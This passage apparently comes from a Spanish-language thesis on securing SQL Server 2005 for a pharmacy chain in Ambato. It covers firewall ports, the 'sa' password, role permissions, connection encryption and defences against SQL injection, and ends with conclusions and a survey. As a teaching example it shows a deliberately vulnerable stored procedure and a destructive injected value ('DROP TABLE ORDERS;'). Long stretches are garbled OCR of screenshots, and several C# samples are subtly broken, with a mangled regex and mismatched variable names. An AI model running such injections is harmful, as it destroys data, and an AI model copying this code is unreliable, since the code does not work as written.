# | SHLEXFPRESS canalizaciones con nombre porgue requiere abrir menos puertos a través del firewall.
# |, SOL Server Browser

Servicio
=+ Coneriones remotas

(&) Sdlo conexiones locales

() Conexiones locales y rematas

‘izta por instancia | Yista porcom 4

Aceptar H Cancelar H Aplicar ][ Apuda ]

Figura 6.8.2 Configuracion de conexiones locales para servidor

Fuente: Captura de pantalla configuracion para conexiones locales

6.8.3 Como configurar un firewall para el acceso a SQL Server

Para abrir un puerto en el firewall de Windows para el acceso TCP

1. En el Panel de control, abra Conexiones de red, haga clic con el boton
secundario en la conexion activa y, a continuacion, haga clic en Propiedades.

2. Haga clic en la ficha Opciones avanzadas y, a continuacion, haga clic en
Configuracion de Firewall de Windows.

3. En el cuadro de dialogo Firewall de Windows, haga clic en la ficha
Excepciones y, a continuacion, haga clic en Agregar puerto.

4. En el cuadro de dialogo Agregar un puerto, en el cuadro Nombre, escriba
SQL Server<nombreDelnstancia>.
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5. En el cuadro Numero de puerto, escriba el nimero de puerto de la instancia
de Database Engine (Motor de base de datos), por ejemplo, 1433, para la
instancia predeterminada.

Agregar un puerto

Use esta configuracidn para abrir un puerta a través de Firewall de Windows. cidin
Fara encontrar el namero p protocolo del puerto, conzulte la documentacion es,
del programa o servicio que desea usar. uridad.

Nombre: |SOL Server MMSOLSERVER |

>

Mumero de puerto: |1433 |

& TCP O UDP

£Eué riesgo existe al abrir un puerto?

[ Aceptar ][ Cancelar ]

2T MNicrosort OreMole
Microsoft ShareFPoint Workspace

W T earmwicer R armnta T aebrod & nnlic-atine

i€

[Aglegarprograma... ” Agregar puerto... ” kM adificar... ] Elirnirar

— tostrar una notificacidn cada vez que Firewall de "windows bloquee un programa

LCudles son los iezgoz al permiti excepciones?

[ Aceptar ] [ Cancelar ]

Figura 6.8.3 Configuracion de Firewall de Windows para acceso a SQL server

Fuente: Captura de pantalla configuracion de firewall

6. Compruebe que TCP esté seleccionado y haga clic en Aceptar.

6.8.4 Cambiar la clave del usuario sa en SQL Server 2005

Para cambiar la clave del usuario “sa” del SQL Server 2005, es necesario iniciar

sesion dentro del servidor.

a) Abrir el SQL Server Management Studio
b) Abrir un “New Query” desde la parte superior izquierda
c) Ejecutar el siguiente codigo en la consulta

d) Lanueva clave se encuentra lista para ser usada
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Al instalar el SQL Server 2005 es recomendable seleccionar autenticacion mixta
(Autenticacion Windows, Autenticacién SQL Server 2005)

GO

ALTER LOGIN [sa] WITH DEFAULT_DATABASE=[master]

GO

USE [master]
GO

ALTER LOGIN [sa] WITH PASSWORD=N'Nueva_clave' MUST_CHANGE

GO

6.8.5 Como conceder permisos de Funcion a usuarios en una instancia de una
base de sobre SQL server 2005

A continuacion se muestra coémo conceder permisos de base de datos a una cuenta
utilizada por un motor de Notification Services, Este procedimiento presupone que ya

se han concedido permisos a la cuenta para iniciar sesién en SQL Server.

a) En el Explorador de objetos de SQL Server Management Studio, expanda Bases
de datos.

b) En la base de datos de instancias y en cada base de datos de aplicacion, haga lo

siguiente:
1. Expanda la base de datos.
2. Haga clic con el botdn secundario en la carpeta Seguridad, seleccione Nuevo

y, a continuacioén, Usuario.

3. En el cuadro Nombre de usuario, escriba un nombre para el usuario de base
de datos.
4, En el cuadro Nombre de inicio de sesion, escriba el nombre de inicio de

sesion. EI nombre de inicio de sesion debe coincidir exactamente con el nombre
de un inicio de sesion existente en la instancia de SQL Server. Haga clic en
Buscar para buscar el nombre de inicio de sesion.

5. En el cuadro Miembros de la funcion de base de datos, seleccione la

funcién de base de datos apropiada.
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Si el motor ejecuta un proveedor de eventos alojado, seleccione la funcién
NSEventProvider. Si el motor ejecuta un generador, seleccione NSGenerator.
Si la instancia ejecuta un distribuidor, seleccione NSDistributor. Si el motor
ejecuta todos los componentes, seleccione la funcion NSRunService.
Importante Conceda los permisos minimos requeridos por la cuenta. Por
ejemplo, si la cuenta se utiliza para s6lo enviar eventos, agregue la cuenta a la

funcién de base de datos NSEventProvider, pero no a las otras funciones de base

B Usuario de la base de datos - Nuevo =11
3 5 Generar secuencia de comandos ~ [ Ayuda
°F General
2 Elementos que pueden protege,
2 Propiedades extendidas Mambre de uslario: D awid
@ Mombre de inicio de sesidr: sa ||
Esquerna predeteminade: ]
Esquemas propiedad de este usuario
Esquemas de propiedad ~
P[] db_accessa dmin
[ db_backupoperatar
[0 db_datareader
[1 db_datawriter
< 5 [0 db_ddladmin

[ db_derwdatarsader

tauuritar e

gg’}aﬁ\c]'{:sTHADDH L Iy de baze de datos:
Conesion:
ADFINISTRADORMDAN D

[1 db_backupaoperatar
gggggggg [ db_datareader

Y Yer propiedades de

[1 db_datawriter

[0 db_ddiadmin

[ db_derydatarsader

[1 db_derwdatawriter -~

[__#ceptar | [ Cancelar |

Figura 6.8.5 Configuracion permisos de Funcion a usuarios

Fuente: Capturas de pantalla permisos de funcion a usuarios

6.8.6 Cifrar conexiones a SQL Server 2005
Cifrar una conexién desde SQL Server Management Studio

1. En la barra de herramientas del Explorador de objetos, haga clic en Conectar
y, a continuacion, en Motor de base de datos.
2. En el cuadro de didlogo Conectar al servidor, rellene la informacion de

conexion y, a continuacion, haga clic en Opciones.
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3. Enlaficha Propiedades de conexion, haga clic en Cifrar conexion.

=% Conectar al servidor a
- Sy Microsoft
Mlclcrsolft_' s Windows Server System
Ihicio de sesian | Propiedades de conexian
E=zcriba o seleccione el nombre de la base de datos para la conexidn.
Conectar con base de datos: < predeterminado> -
Red
Protocalo de red: <predetsrminado> ~
T amarfio del paquete de red: 4096 = bytes=

Conexidn

Tiempo de espera de la conexion: |15 segundos

4[4

segundos

Festablecer todo

Tiempo de eszpera de ejecucidn: o
Cifrar conexidn

[ Conectar ] [ Cancelar ] [ Apuda ] [ Opciones << ]

Figura 6.8.6 Cifrar conexiones SQL server 2005

Fuente: Captura de pantalla cifrar conexion SQL server 2005

6.8.7 Seguridad de aplicaciones

Para proteger a la aplicacién de inyecciones SQL, se recomienda realizar los

siguientes items:

a) Restriccion de entradas.
b) Uso de pardmetros con procedimientos almacenados.

c) Uso de pardmetros con SQL dinamico
a) Restriccion de entradas

Se recomienda validar el tipo, la longitud, el formato y el intervalo de todas las
entradas a aplicaciones, mediante la restriccion de las entradas utilizadas en las

consultas de acceso a datos.
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e Restriccion de entradas en el cddigo de acceso a datos

Se considera necesario realizar una validacion en el cddigo de acceso a datos, tal vez

como complemento a la validacién de ingreso.

En el siguiente ejemplo muestra como una rutina de acceso a datos puede validar los
parametros de entrada mediante expresiones regulares antes de utilizar los pardmetros

en una instruccion SQL.

using System;
using System.Text.RegularExpressions;

public void CreateNewUserAccount(string name, string password)

{

/I Check name contains only lower case or upper case letters,

/I the apostrophe, a dot, or white space. Also check it is

I between 1 and 40 characters long

if ('Regex.IsMatch(userIDTxt.Text, @""[a-zA-Z'./s]{1,40}$"))
throw new FormatException(*Invalid name format");

/I Check password contains at least one digit, one lower case
/I letter, one uppercase letter, and is between 8 and 10
/I characters long
if (!Regex.IsMatch(passwordTxt. Text,
@"M?=*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$"))
throw new FormatException("Invalid password format");

// Perform data access logic (using type safe parameters)

b) Uso de parametros con procedimientos almacenados

Otra medida para prevenir la inyeccion sql es el uso de procedimientos almacenados,
esto no implica que se eviten las inyecciones SQL Si no utiliza parametros, los
procedimientos almacenados pueden ser susceptibles de inyecciones SQL si utilizan
entradas sin filtrar como se describe en el apartado "Descripcion general” de este

documento.
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Con el siguiente codigo se muestra como utilizar SqlParameterCollection cuando se

Ilama a un procedimiento almacenado.

using System.Data;
using System.Data.SqlClient;

using (SqlConnection connection = new SglConnection(connectionString))

DataSet userDataset = new DataSet();
SqlDataAdapter myCommand = new SqlDataAdapter(

"LoginStoredProcedure”, connection);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
myCommand.SelectCommand.Parameters.Add("@au_id", SqIDbType.VarChar,

11);
myCommand.SelectCommand.Parameters["@au_id"].Value = SSN.Text;

myCommand.Fill(userDataset);
¥
En este caso, el parametro @au_id es tratado como un valor literal y no como cddigo
ejecutable. Ademas, se comprueba el tipo y la longitud del parametro. En el ejemplo
de cddigo anterior, el valor de entrada no puede tener més de 11 caracteres. Si los
datos no cumplen el tipo o la longitud que el pardmetro defina, la

clase SqlParametergenerara una excepcion.

e Revisidn del uso de los procedimientos almacenados parametrizados de la

aplicacion

Ya que el uso de procedimientos almacenados con pardmetros no evita
necesariamente las inyecciones SQL, es recomendable que revise el uso de este tipo
de procedimiento almacenado de la aplicacion. Por ejemplo, el siguiente

procedimiento almacenado parametrizado tiene varias vulnerabilidades de seguridad.

CREATE PROCEDURE dbo.RunQuery
@var ntext
AS
exec sp_executesql @var
GO
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Una aplicacion que utilice un procedimiento almacenado similar al del ejemplo de

cddigo anterior tiene las siguientes vulnerabilidades:

El procedimiento almacenado ejecuta todas las instrucciones que se le pasen.
Consideremos que la variable@var se ha establecido como:
DROP TABLE ORDERS;En este caso, la tabla ORDERS sera eliminada.

El procedimiento almacenado se ejecuta con privilegios dbo.

El nombre del procedimiento almacenado (RunQuery) no es muy
conveniente. Si un intruso puede consultar la base de datos, vera el nombre del
procedimiento almacenado. Con un nombre como RunQuery, puede suponer
que es probable que el procedimiento almacenado ejecute la consulta

proporcionada.
c) Uso de pardmetros con SQL dinamico

Si no puede utilizar procedimientos almacenados, siga utilizando pardmetros cuando
construya instrucciones SQL dindmicas. Con el siguiente cédigo se muestra como

utilizar SqlParameterCollection con SQL dindmico.

using System.Data;
using System.Data.SqlClient;

using (SqlConnection connection = new SglConnection(connectionString))

DataSet userDataset = new DataSet();
SqlDataAdapter myDataAdapter = new SqlDataAdapter(
"SELECT au_Iname, au_fname FROM Authors WHERE au_id = @au_id",
connection);
myCommand.SelectCommand.Parameters.Add("@au_id", SqIDbType.VarChar,
11);
myCommand.SelectCommand.Parameters["@au_id"].Value = SSN.Text;
myDataAdapter.Fill(userDataset);

}
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e Uso de parametros en el trabajo con lotes

Una creencia erronea habitual es pensar que si se concatenan varias instrucciones
SQL para enviar un lote de instrucciones al servidor en un solo recorrido de ida y
vuelta, no se pueden utilizar parametros. Sin embargo, puede utilizar esta técnica
siempre que se asegure de que los nombres de pardmetros no aparezcan repetidos.
Puede estar completamente seguro, utilice nombres de parametro exclusivos durante

la concatenacion de texto SQL, tal y como se muestra a continuacion.

using System.Data;
using System.Data.SqlClient;

using (SqlConnection connection = new SglConnection(connectionString))
{
SqlDataAdapter dataAdapter = new SqlDataAdapter(
"SELECT CustomerID INTO #Templ FROM Customers " +
"WHERE CustomerlD > @custiIDParm; SELECT CompanyName FROM
Customers " +
"WHERE Country = @countryParm and CustomerID IN " +
"(SELECT CustomerID FROM #Templ);",
connection);
SqlParameter custiIDParm = dataAdapter.SelectCommand.Parameters. Add(
"@custIDParm”, SqIDbType.NChar, 5);
custIDParm.Value = customerlID.Text;

SqlParameter countryParm = dataAdapter.SelectCommand.Parameters.Add(
"@countryParm", SqlDbType.NVarChar, 15);
countryParm.Value = country.Text;

connection.Open();

DataSet dataSet = new DataSet();
dataAdapter.Fill(dataSet);
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6.9 Inyeccion de codigo a las BD SQL en MS SQL Server 2005 de las farmacias
Cruz Azul Vitalidad de la ciudad de Ambato, una vez aplicadas las medidas

de seguridad.

e Al tratar de Conectarse desde una estacion al servidor de sistema Neptuno desde
un puerto diferente al configurado anteriormente el sistema genero el error

siguiente.
kd Mensaje del Broker g|

Mo se ha podido establecer conexian va que el equipo de destino ha
denegado activamente dicha conexidn

Acepkar || « < Menos detalles

Detalles:

Crigen:  Meptuno,Braker, Client

Tipo: SocketException

Mensaje:

Mo s ha podido establecer conexidn va que el equipo de destino ha denegado
activamente dicha conexion

Figura 6.9.1 Conexion fallida al sistema

Fuente: Captura de pantalla conexion fallida al sistema

e El siguiente paso fue configurar el puerto con el que el sistema se pude conectar
al servidor desde una estacion que no esté registrada en el sistema, mostrando el

error siguiente.

kd Mensaje del Servidor

@ La estacion ADMIMISTRADOR No se encuenktra registrada

Acepkar | | =< Menos detalles I

Cretalles:

Procedimiento: sp_wenta_cab
Mensaje:
La estacion ADMIMNISTRADOR no s encuentra registrada

A

Figura 6.9.2 Conexion fallida estacion no registrada
Fuente: Captura de pantalla estacion no registrada
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Al configurar correctamente el puerto por el cual se puede tener acceso al sistema,
es posible ingresar con normalidad al mismo.

id|sistema Neptuno - Grupo DIFARE - v1.0.239.8 Release 23/04/2012

Sesifn  Opcones  Vemtana  Ayuda

i1 Inicio de Sesion

suario:

Contrasefia: |
Empresa: CRUZ AZLIL VITALIDAD#S -

| | concenr |

|l ceptar

| ([ OPERETVD | @3 &

Figura 6.9.3 Conexion exitosa al sistema

Fuente: Captura de pantalla conexidn exitosa al sistema
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6.10 Conclusiones

En resumen se ha conseguido obtener todo tipo de datos acerca del servidor
SQL: como la version del sistema operativo, motor de base de datos, bases de

datos existentes, tablas, usuarios, etc.

La Solucion al SQL Injection reside en una consistente y absoluta revision y
confrontacion de todos los pardmetros y cuestiones dirigidas a las Bases de
Datos y la Programacion/Disefio del sistema informatico.

Al ejecutar las consultas consulta en la base de datos, el codigo SQL
inyectado se ejecutd logrando hacer un sinnimero de cosas, modificar o
eliminar datos, autorizar accesos e, incluso, ejecutar cédigo malicioso en el

computador.

No se puede implementar medidas de seguridad para la aplicacion, puesto que
no es posible tener acceso al codigo fuente del sistema, por tal motivo se
vuelve necesario optar por mantener al sistema fuera del alcance de personas

que tengan conocimiento del tema.
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6.11 Recomendaciones

Al administrador del sistema se recomienda eliminar las cuentas por defecto, es tan
renombrado y conocido este conjunto de palabras, aunque no lo parezcan, suelen
ser el motivo mas perjudicial para la administracion de Sistemas; esto evitaria que
estos se transformen en "presas faciles". Por ende, la Cuenta Maestra que se genera
durante la Instalacion Predetermina de MS-SQL Server recibe el nombre de "SA"
debera estas inactiva.

Al administrador del sistema se recomienda cambiar los puertos por Defecto,
MS-SQL puesto que Server soporta multiples conexiones de red en cuanto a
puertos y librerias se refiere. Esto le permite al Administrador del Sistema
manejarse con total libertad para otorgar "tipos de enlaces de trabajo" segln crea

convenientes.

Al administrador del sistema se recomienda deshabilitar los "Procedimientos
Almacenados " (Transact SQL), propios de MS-SQL Server, podrian ser una
amenaza potencial, puesto que mediante estas se puede acceder a una cuenta
especial (dada, exclusivamente, por el "SA™) usando una Shell Remota (Intérprete
de Comandos Externo) a nivel del SO.

A los desarrolladores del sistema se recomienda validar el tipo, la longitud, el
formato y el intervalo de todas las entradas a aplicaciones, mediante la restriccion

de las entradas utilizadas en las consultas de acceso a datos.

A los desarrolladores del sistema se recomienda realizar una validacion en el

cddigo de acceso a datos, tal vez como complemento a la validacion de ingreso.

Ya que el uso de procedimientos almacenados con parametros no evita
necesariamente las inyecciones SQL, a los desarrolladores del sistema se
recomienda revisar el uso de este tipo de procedimiento almacenado en la

aplicacion.
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e Al administrador del sistema se recomienda estar al dia en materia de Seguridad
Informética para controlar las Nuevas Técnicas de Inyecciones SQL que surgen
continuamente (al paso del tiempo); indudablemente, mas perfeccionadas y
dificiles de combatir.
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6.13 Glosario de Términos.

BD ( Base de datos)

Base de datos o banco de datos es un conjunto de
datos pertenecientes a un mismo contexto Yy
almacenados sistematicamente para su posterior uso

BI ('business intelligence)

Inteligencia empresarial, inteligencia de negocios
0 BI, conjunto de estrategias y herramientas
enfocadas a la administracion y creacién de
conocimiento mediante el anélisis de datos

DLL(
library)

dynamic-link

Biblioteca de enlace dindmico es el término con el
que se refiere a los archivos con codigo ejecutable
que se cargan bajo demanda de un programa por
parte del sistema operativo.

DML (Data manipulation
Languaje)

Lenguaje de Manipulacion de Datos es un
lenguaje proporcionado por el sistema de gestion de
base de datos que permite a los usuarios de la misma
Ilevar a cabo las tareas de consulta 0 manipulacion de
los datos

FRAMEWORK

La palabra inglesa "framework™ define, en términos
generales, un conjunto estandarizado de conceptos,
practicas y criterios para enfocar un tipo de
problematica particular, que sirve como referencia
para enfrentar y resolver nuevos problemas de indole
similar.

1S ( Internet Information
Services)

Internet Information Services o I1S es un servidor
web y un conjunto de servicios para el sistema
operativo Microsoft Windows

MSSQLSERVER
(Microsoft SQL Server)

Microsoft SQL Server es un sistema para la gestion
de bases de datos producido por Microsoft basado en
el modelo relacional.

SERVICE PACK

Los programas denominados Service Pack consisten
en un grupo de parches que actualizan, corrigen y
mejoran aplicaciones y sistemas operativos
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SGBD ( Sistemas de
gestion de bases de datos)

Sistemas de gestion de bases de datos son un tipo
de software muy especifico, dedicado a servir de
interfaz entre la base de datos, el usuario y las
aplicaciones que la utilizan.

SQL ( structured query
language)

Lenguaje de consulta estructurado o SQL (por sus
siglas en inglés structured query language) es un
lenguaje declarativo de acceso a bases de datos
relacionales

TCP ( Transmission
Control Protocol)

Transmission Control Protocol (en espafiol
Protocolo de Control de Transmision) o TCP, es uno
de los protocolos fundamentales en Internet. Fue
creado entre los afios 1973 y 1974 por Vint Cerf y
Robert Kahn.

T-SQL ( Transact-SQL)

Transact-SQL (T-SQL) es una extension al SQL de
Microsoft y Sybase. SQL, que frecuentemente se dice
ser un Lenguaje de Busquedas Estructurado (por sus
siglas en inglés), es un lenguage de computo
estandarizado
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MODELO DE ENCUESTA
UNIVERSIDAD TECNICA DE AMBATO
FACULTAD DE INGENIERIA EN SISTEMAS
LUGAR DE LA ENCUESTA: Farmacias Cruz Azul vitalidad
OBJETIVO.
e Determinar las falencias de seguridad en la institucion para permitir al
investigador obtener un punto departida para el desarrollo del proyecto

Cuestionario
Dentro de los paréntesis sirvase contestar con una X en la respuesta.

1. ¢El sistema ha sido vulnerado alguna vez?
SI() NO()

2. ¢Se registran los movimientos o actividades que se realizan cada usuario en el
sistema?
SI() NO()

3. ¢El sistema funcionar en entorno Cliente/Servidor?
SI() NO()

4. ¢El flujo de informacion es diario?
SI() NO()

5. ¢Realizan copias de seguridad diariamente?
SI() NO()

6. ¢Utilizan cifrados de seguridad?
SI() NO()

Sefiores, su veracidad en las respuestas permitira al grupo investigador desarrollar un
trabajo real y efectivo.

Agradecemos su colaboracién y garantizamos absoluta reversa de su informacion.
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